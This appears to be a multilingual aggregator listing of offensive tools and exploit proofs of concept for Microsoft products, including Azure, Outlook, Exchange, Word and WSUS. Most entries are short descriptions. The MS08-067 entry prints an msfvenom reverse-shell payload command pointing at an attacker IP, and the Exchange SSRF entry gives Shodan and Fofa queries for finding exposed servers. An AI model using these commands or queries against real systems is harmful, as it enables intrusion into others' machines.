APEX

APEX precedentemente AzurePwn- Framework di Post Exploitation per Azure Un tentativo di semplificare le attività di post-ex una volta ottenuto un qualche tipo di credenziali per un account correlato ad Azure. Ad essere onesti, non è nulla di nuovo o di spettacolare. Solo il mio vecchio culo pigro...

CVE-2023-21716

CVE-2023-21716 POC : CVE-2023-21716 Повреждение кучи таблицы шрифтов RTF в Microsoft Word...

Maestro

Maestro Maestro è uno strumento post-exploitation progettato per interagire con Intune/EntraID da un agente C2 sulla workstation di un utente senza richiedere la conoscenza della password dell'utente o dei flussi di autenticazione di Azure, della manipolazione dei token e della console di...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC PoC لـ: CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 فيديو PoC: https://youtu.be/u8mccaakISw...

MS08-067

MS08-067 | CVE-2008-4250 المرجع: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN توليد الشيلكود سنستخدم msfvenom لتوليد الشيلكود. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

MSSQLand

✈️ MSSQLand Atterra con eleganza nel tuo database Microsoft SQL Server MS SQL di destinazione, come se arrivassi su un volo business class con un calice di champagne in mano. 🥂 MSSQLand è uno strumento di post-sfruttamento per Microsoft SQL Server MSSQL / MS SQL scritto in C, progettato per...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

msprobe

msprobe बारे में स्थापित करना उपयोग उदाहरण जल्द ही आ रहा है स्वीकृतियाँ बारे में पासवर्ड स्प्रेइंग और गणना के लिए ऑन-प्रेम Microsoft सभी चीजों की खोज। यह उपकरण आपके लक्ष्य एपेक्स डोमेन से जुड़े सामान्य उपडोमेन की एक सूची का उपयोग करेगा ताकि ऑन-प्रेम Microsoft समाधानों के वैध उदाहरणों की खोज करने ...

CVE-2025-59287

In questo studio, esamineremo una vulnerabilità critica CVE-2025-59287 scoperta nell'ambiente Microsoft Windows Server Update Services WSUS. Questa vulnerabilità deriva dalla deserializzazione non sicura degli oggetti AuthorizationCookie inviati all'endpoint GetCookie, dove i dati dei cookie...

CurveBall

CurveBall CVE-2020-0601 - Preuve de concept CVE-2020-0601 : également connu sous le nom de CurveBall ou ChainOffFools, est une vulnérabilité dans la Microsoft CryptoApi plus précisément dans Crypt32.dll où les signatures de courbe elliptique ECDSA des certificats ne sont pas correctement vérifiée...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption Una vulnerabilità all'interno di wwlib di Microsoft Office consente agli aggressori di ottenere l'esecuzione remota di codice con i privilegi della vittima che apre un documento RTF dannoso. L'aggressore potrebbe consegnare questo file...

CVE-2024-21413

CVE-2024-21413 Obtendo Credenciais Usando a Vulnerabilidade CVE-2024-21413 Primeiramente, olá. Graças a uma vulnerabilidade encontrada no Microsoft Outlook, você pode realizar os seguintes procedimentos para obter informações de usuário do Windows. Eu realizo a tarefa de envio de e-mail usando a...

PoC-CVE-2000-0649

PoC-CVE-2000-0649 Un petit outil pour créer un PoC pour CVE-2000-0649. Utilisation Ce script vérifie si le serveur est vulnérable à CVE-2000-0649. N'oubliez pas d'expérimenter avec HTTP, HTTPS et différents chemins. Selon mon expérience, la divulgation se produit principalement lors de la connexi...

CVE-2022-30190

CVE-2022-30190 Follina Proof of Concept Übersicht Dieses Projekt demonstriert einen Proof-of-Concept-Exploit für CVE-2022-30190, auch bekannt als „Follina“ – eine kritische Remote-Codeausführung-Sicherheitslücke, die Microsoft Office über das MSDT-Protokoll betrifft. Die Anwendung generiert...

cve-2020-00796

Identifizieren und Beheben der CVE-2020–0796 Schwachstelle im Flug CVE-2020–0796 ist eine Pre-Remote-Codeausführungs-Sicherheitslücke im Netzwerkkommunikationsprotokoll Server Message Block 3.0 SMBv3, die Microsoft nicht als Teil des März-2020-Patch-Dienstags adressiert. Verwendung python3...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 è una vulnerabilità critica di esecuzione remota di codice in Microsoft Outlook versioni incluse Microsoft 365 Apps, Outlook 2016/2019, Office LTSC 2021 precedenti alla patch di febbraio 2024. Consente a un attaccante non autenticato di aggirare la Visualizzazione protetta di Outlo...

CVE-2021-42321

CVE-2021-42321 Microsoft Exchange Server Poc Der Patch:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...

CVE-2023-23396

CVE-2023-23396 Ici vous pouvez télécharger l'exploit. Ici vous pouvez lire mon rapport. Ici vous pouvez m'acheter une licorne 🦄 PS Au moment de l'écriture 2023-04-07 la version client de Microsoft Excel est encore vulnérable ici plus d'informations. Partagez le savoir !...

CVE-2021-26855-SSRF-Exchange

CVE-2021-26855-SSRF-Exchange CVE-2021-26855 SSRF Exchange Server Shodan https://beta.shodan.io/search?query=http.component%3A%22outlook+web+app%22 https://beta.shodan.io/search?query=http.html%3A%22%2Fowa%22 Fofa https://fofa.so/result?q=title%3D%22Outlook+Web+App%22...

CVE-2023-23397

CVE-2023-23397 Демонстрация эксплуатации и смягчения 📌 Обзор Этот проект демонстрирует обнаружение, эксплуатацию и смягчение CVE-2023-23397 — критической уязвимости нулевого клика для ретрансляции NTLM в Microsoft Outlook для Windows. Эксплуатируемая через приглашения в календаре, эта уязвимость...